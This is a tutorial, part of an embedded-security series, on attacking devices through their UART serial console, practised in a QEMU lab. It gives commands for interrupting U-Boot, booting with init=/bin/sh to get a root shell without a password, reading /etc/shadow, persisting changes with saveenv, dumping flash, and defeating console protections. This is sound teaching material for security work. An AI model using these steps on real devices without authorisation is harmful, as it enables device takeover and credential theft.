Tutorial

UART and Serial Console Exploitation

Identify and interact with UART interfaces on embedded devices using QEMU, extract boot logs, interrupt U-Boot for a root shell, and dump flash over serial.

8 min read intermediate

Prerequisites

  • Completion of the Buildroot/QEMU cross-compiling tutorial
  • Basic understanding of embedded Linux boot process
  • Familiarity with the command line

Part 4 of 7 in Embedded Systems & Firmware

Table of Contents

The first three tutorials in this series used software-only tools: Buildroot for images, QEMU for emulation, Ghidra for reverse engineering. Real embedded devices have physical interfaces that are equally valuable to an attacker, and the most universally present one is UART.

UART (Universal Asynchronous Receiver/Transmitter) is a serial communication interface found on virtually every embedded device: routers, cameras, smart home gear, industrial controllers, automotive ECUs. Manufacturers use it during development for debugging and diagnostics, then leave it on the production board because removing it costs more than ignoring it. The result is a root shell hidden behind a few solder pads on nearly every device you’ll encounter.

This tutorial covers the full UART attack workflow: identifying the interface, connecting to it, extracting boot information, interrupting the bootloader for shell access, and using serial to dump memory. We use QEMU’s serial emulation for hands-on practice, with guidance on translating each technique to physical hardware.

UART attack workflow:

  Physical device                    QEMU equivalent
  ┌─────────────┐                   ┌─────────────┐
  │ Find UART   │                   │ -serial flag │
  │ pins on PCB │                   │ on QEMU cmd  │
  ├─────────────┤                   ├─────────────┤
  │ Connect     │                   │ Connect with │
  │ USB-TTL     │                   │ minicom/     │
  │ adapter     │                   │ picocom      │
  ├─────────────┤                   ├─────────────┤
  │ Capture     │                   │ Capture      │
  │ boot log    │◄──── same ───────►│ boot log     │
  ├─────────────┤    techniques     ├─────────────┤
  │ Interrupt   │                   │ Interrupt    │
  │ U-Boot      │                   │ U-Boot       │
  ├─────────────┤                   ├─────────────┤
  │ Root shell  │                   │ Root shell   │
  └─────────────┘                   └─────────────┘

What is UART?

UART is the simplest serial protocol in embedded systems. It uses two data lines (TX and RX) plus a ground reference, with no clock signal, both sides agree on a baud rate (speed) in advance.

UART connection:

  Device                    Adapter (USB-TTL)
  ┌──────┐                  ┌──────┐
  │ TX ──┼──────────────────┼── RX │
  │ RX ──┼──────────────────┼── TX │
  │ GND ─┼──────────────────┼── GND│
  │ VCC  │  (do NOT connect │ VCC  │
  └──────┘   VCC to adapter)└──────┘

Key parameters:

ParameterCommon valueNotes
Baud rate115200Most common; also check 9600, 57600, 38400
Data bits8Almost always 8
ParityNoneRarely used in embedded
Stop bits1Standard
Flow controlNoneHardware flow control is rare on debug UARTs

Warning

Voltage levels Embedded UART is typically 3.3V logic. Connecting a 5V USB-TTL adapter directly can damage the device. Always verify voltage before connecting to physical hardware. In QEMU, this isn’t a concern.

Setting up the QEMU serial lab

Build an ARM image with U-Boot as the bootloader using Buildroot. If you completed the cross-compiling tutorial, you already have most of this.

Note

Why this lab uses vexpress-a9 not versatilepb The other ARM tutorials in this series target versatilepb (ARM926, no NX, useful for shellcode labs). This one uses vexpress-a9 (Cortex-A9) because Buildroot ships a complete U-Boot defconfig (vexpress_ca9x4) for it, and the U-Boot serial console behaviour is closer to what you see on real hardware. If you want to reuse one tree across both labs, keep two separate output/ directories or two Buildroot checkouts — the kernel configs are not interchangeable.

Buildroot configuration

cd ~/buildroot
make qemu_arm_vexpress_defconfig
make menuconfig

In menuconfig, ensure these are enabled:

  • Bootloaders → U-Boot, enables U-Boot as the bootloader
  • Bootloaders → U-Boot → Board defconfig, set to vexpress_ca9x4
  • System configuration → Root password, set to something known (e.g., root)
  • Target packages → BusyBox, should be enabled by default
make -j$(nproc)

This produces:

  • output/images/u-boot, the U-Boot bootloader binary
  • output/images/zImage, the Linux kernel
  • output/images/rootfs.ext2, the root filesystem
  • output/images/vexpress-v2p-ca9.dtb, the device tree

Launching QEMU with serial console

qemu-system-arm \
  -M vexpress-a9 \
  -m 256M \
  -kernel output/images/u-boot \
  -drive file=output/images/rootfs.ext2,if=sd,format=raw \
  -dtb output/images/vexpress-v2p-ca9.dtb \
  -nographic \
  -serial mon:stdio

The -nographic -serial mon:stdio flags redirect QEMU’s serial port to your terminal. You’ll see U-Boot output immediately:

U-Boot 2023.04 (Mar 17 2026 - 10:00:00 +0000)

DRAM:  256 MiB
...
Hit any key to stop autoboot:  3

This is the same output you’d see on a physical device’s UART, the serial console is the primary interface for U-Boot and early Linux boot.

Capturing the boot log

The boot log reveals critical information about the device: kernel version, command-line arguments, loaded modules, mount points, and running services. On a real device, this information isn’t visible without a serial connection.

Recording the session

Use script or tee to save the output:

qemu-system-arm ... -serial mon:stdio 2>&1 | tee boot_log.txt

Or use minicom with logging:

minicom -D /dev/pts/X -b 115200 -C boot_log.txt

What to look for in the boot log

Valuable information in a typical embedded boot log:

U-Boot stage:
  - U-Boot version → known vulnerability lookup
  - Board name and hardware info
  - Boot arguments (bootargs) → filesystem type, root device
  - Environment variables → passwords, keys, server addresses
  - Memory map → RAM layout

Linux kernel stage:
  - Kernel version → CVE lookup
  - Command line → init process, root filesystem, debug options
  - Mounted filesystems → writable partitions
  - Loaded kernel modules → attack surface
  - Network configuration → listening interfaces

Init/service stage:
  - Running daemons → attack surface enumeration
  - Configuration paths → target files for post-exploitation
  - Error messages → misconfigurations, missing files

Example boot log analysis:

U-Boot> printenv
bootargs=console=ttyAMA0,115200 root=/dev/mmcblk0 rw rootfstype=ext2
ethaddr=52:54:00:12:34:56
ipaddr=192.168.1.1
serverip=192.168.1.100
bootcmd=run bootcmd_mmc0

In this Buildroot/QEMU lab the SD image is a single ext2 filesystem on /dev/mmcblk0, mounted read-write, and the console is on serial port ttyAMA0 at 115200 baud. The serverip might indicate a TFTP server used for firmware updates: a potential pivot point.

Interrupting U-Boot

U-Boot has a configurable autoboot delay (typically 1-5 seconds). If you press a key during this window, you drop into the U-Boot command shell: a powerful interface that runs before the operating system and any of its security measures.

Getting the U-Boot shell

Watch for the autoboot countdown:

Hit any key to stop autoboot:  3

Press any key. You get the U-Boot prompt:

U-Boot>

What you can do from U-Boot

U-Boot runs at the highest privilege level with full hardware access. Useful commands:

# Print all environment variables (often contains credentials, IPs)
U-Boot> printenv

# Print memory map
U-Boot> bdinfo

# Read memory at address
U-Boot> md.b 0x60000000 0x100

# Read the first few blocks of the MMC-backed image into RAM
U-Boot> mmc dev 0
U-Boot> mmc read 0x62000000 0x0 0x8

# Modify boot arguments to get a root shell without password
U-Boot> setenv bootargs console=ttyAMA0,115200 root=/dev/mmcblk0 rw init=/bin/sh
U-Boot> run bootcmd

The init=/bin/sh trick is devastating: by changing the kernel’s init process from /sbin/init to /bin/sh, the system boots directly into a root shell, bypassing all authentication, startup scripts, and security daemons.

Normal boot:                     Modified boot:
  kernel → /sbin/init             kernel → /bin/sh
    → mounts filesystems            → root shell immediately
    → starts services               → no authentication
    → login prompt                  → full filesystem access
    → requires password

Modifying boot arguments

# Original bootargs
U-Boot> printenv bootargs
bootargs=console=ttyAMA0,115200 root=/dev/mmcblk0 rw

# Override init to get a shell
U-Boot> setenv bootargs console=ttyAMA0,115200 root=/dev/mmcblk0 rw init=/bin/sh

# Boot with modified arguments
U-Boot> run bootcmd

After the kernel boots:

/ # whoami
root
/ # cat /etc/shadow
root:$6$....:18000:0:99999:7:::

Tip

On a physical device, if U-Boot is password-protected or the autoboot delay is set to 0, you may need to use hardware techniques (JTAG, glitching, or flash modification) to bypass it. In QEMU, you control the U-Boot configuration directly.

Saving changes persistently

# Save modified environment to flash (persistent across reboots)
U-Boot> saveenv
Saving Environment to MMC... OK

# Reset to boot with new settings
U-Boot> reset

On a real device, saveenv writes to the device’s non-volatile storage. This persists your changes through power cycles: an attacker who gets U-Boot access once can install a persistent backdoor by modifying the boot environment.

Dumping Storage Over Serial

In the QEMU lab, the easiest target is the MMC-backed disk image you already booted from. On physical hardware, the same workflow often applies to SPI flash, NAND, or NOR instead.

Reading Storage from U-Boot

# QEMU lab: read 4 KiB (8 x 512-byte sectors) from the start of the MMC image
U-Boot> mmc dev 0
U-Boot> mmc read 0x62000000 0x0 0x8

# Physical-device variants
U-Boot> sf probe
U-Boot> sf read 0x62000000 0x0 0x1000000

# For NAND flash:
U-Boot> nand read 0x62000000 0x0 0x1000000

Transferring data over serial

Serial is slow (115200 baud ≈ 11.5 KB/s), but it works when no other interface is available.

Method 1: Memory dump with md

# Hex dump memory (very slow, but universal)
U-Boot> md.b 0x62000000 0x1000000

Capture the output, then convert the hex dump back to binary on your host:

# On host: convert hex dump to binary
cat uart_dump.txt | grep "^[0-9a-f]" | \
  awk '{for(i=2;i<=NF && i<=17;i++) printf "%s", $i}' | \
  xxd -r -p > flash_dump.bin

Method 2: XMODEM/YMODEM transfer

If U-Boot was compiled with XMODEM support:

U-Boot> loady 0x62000000
# Then use minicom's "Send file" with YMODEM protocol

Method 3: TFTP (if network is available)

Much faster than serial:

# On your host, start a TFTP server
sudo apt install tftpd-hpa
# Configure /etc/default/tftpd-hpa

# In U-Boot
U-Boot> setenv serverip 192.168.1.100
U-Boot> tftpput 0x62000000 0x1000000 flash_dump.bin

Analyzing the dump

Once you have the flash dump, use the same binwalk workflow from the firmware RE tutorial:

binwalk flash_dump.bin
binwalk -e flash_dump.bin

The flash dump gives you everything the firmware update file contains, plus device-specific data: calibration values, configuration, stored credentials, and potentially encryption keys.

Identifying UART on physical hardware

This section describes how to find UART on a real device. You can’t practice this in QEMU, but understanding the physical process is essential for embedded security work.

Visual identification

Look for:

  • 4-pin headers, often labeled TX, RX, GND, VCC (or just 4 bare pads)
  • Test points, labeled TP1, TP2, etc., near the SoC
  • Unpopulated headers, 4 holes in a row with solder pads but no pins installed
Common UART pin layouts on PCBs:

  Layout A (header):    Layout B (pads):     Layout C (inline):
  ┌─┐ ┌─┐ ┌─┐ ┌─┐     ● ● ● ●             ┌──┐
  │V│ │T│ │R│ │G│     V T R G              │VCC│──●
  │C│ │X│ │X│ │N│                           │ TX│──●
  │C│ │ │ │ │ │D│                           │ RX│──●
  └─┘ └─┘ └─┘ └─┘                          │GND│──●
                                             └──┘

Electrical identification

Use a multimeter to identify pins:

  1. GND, continuity to a known ground point (USB shield, metal chassis, ground plane)
  2. VCC, reads 3.3V or 5V relative to GND (steady voltage)
  3. TX, fluctuating voltage during boot (data being transmitted), settles to high (idle state) after boot
  4. RX, steady voltage, usually pulled high (idle, waiting for input)

Logic analyzer

A logic analyzer (like the $10 Saleae Logic clone) definitively identifies UART:

  1. Connect channels to suspected TX and RX pins
  2. Power on the device
  3. Look for asynchronous serial data patterns
  4. Auto-detect baud rate from the timing

Baud rate detection

If you connect but see garbage characters, the baud rate is wrong. Try common rates:

# Try each common baud rate
for baud in 9600 19200 38400 57600 115200 230400 460800 921600; do
    echo "Trying $baud..."
    picocom -b $baud /dev/ttyUSB0
    # Press Ctrl+A, Ctrl+X to exit
done

On a logic analyzer, measure the width of the narrowest pulse in the UART signal. The baud rate is 1 / pulse_width. For example, a 8.68µs pulse width = 115200 baud.

UART security countermeasures

Some manufacturers attempt to secure the UART interface:

Disabled console output

The kernel is booted with console= set to nothing, or the serial console is not compiled into the kernel. Boot messages don’t appear.

Bypass: Interrupt U-Boot (which runs before the kernel) and change the bootargs to add console=ttyS0,115200.

U-Boot password protection

U-Boot supports password-protecting the console:

U-Boot> setenv bootdelay -2
U-Boot> setenv bootstopkeysha256 <sha256_hash>
U-Boot> saveenv

Bypass: Dump the flash chip directly (SPI clip or desoldering), extract the U-Boot environment, find or crack the password, or modify the environment to remove the protection.

Console disabled in production

The UART TX/RX traces are cut or the console is disabled in the device tree.

Bypass: Trace the PCB to find where the signal was cut, bridge it with a wire, or connect directly to the SoC’s UART pins (requires board schematics or careful probing).

Root password on serial login

The serial console presents a login prompt that requires a password.

Bypass: Interrupt U-Boot and modify init=/bin/sh, or extract the firmware and crack the password hash from /etc/shadow.

Practical exercise

Using the QEMU lab:

  1. Boot the Buildroot image and capture the full boot log
  2. Identify the kernel version, root filesystem type, and all mounted partitions
  3. Interrupt U-Boot and list all environment variables
  4. Modify bootargs to boot with init=/bin/sh and get a root shell
  5. From the U-Boot shell, read the first 4KB of the MMC-backed image and examine it with md.b
  6. Extract the root password hash from /etc/shadow via the init=/bin/sh shell

Each of these steps mirrors exactly what you’d do on a physical device connected via a USB-TTL adapter: the QEMU serial console behaves identically to real hardware UART.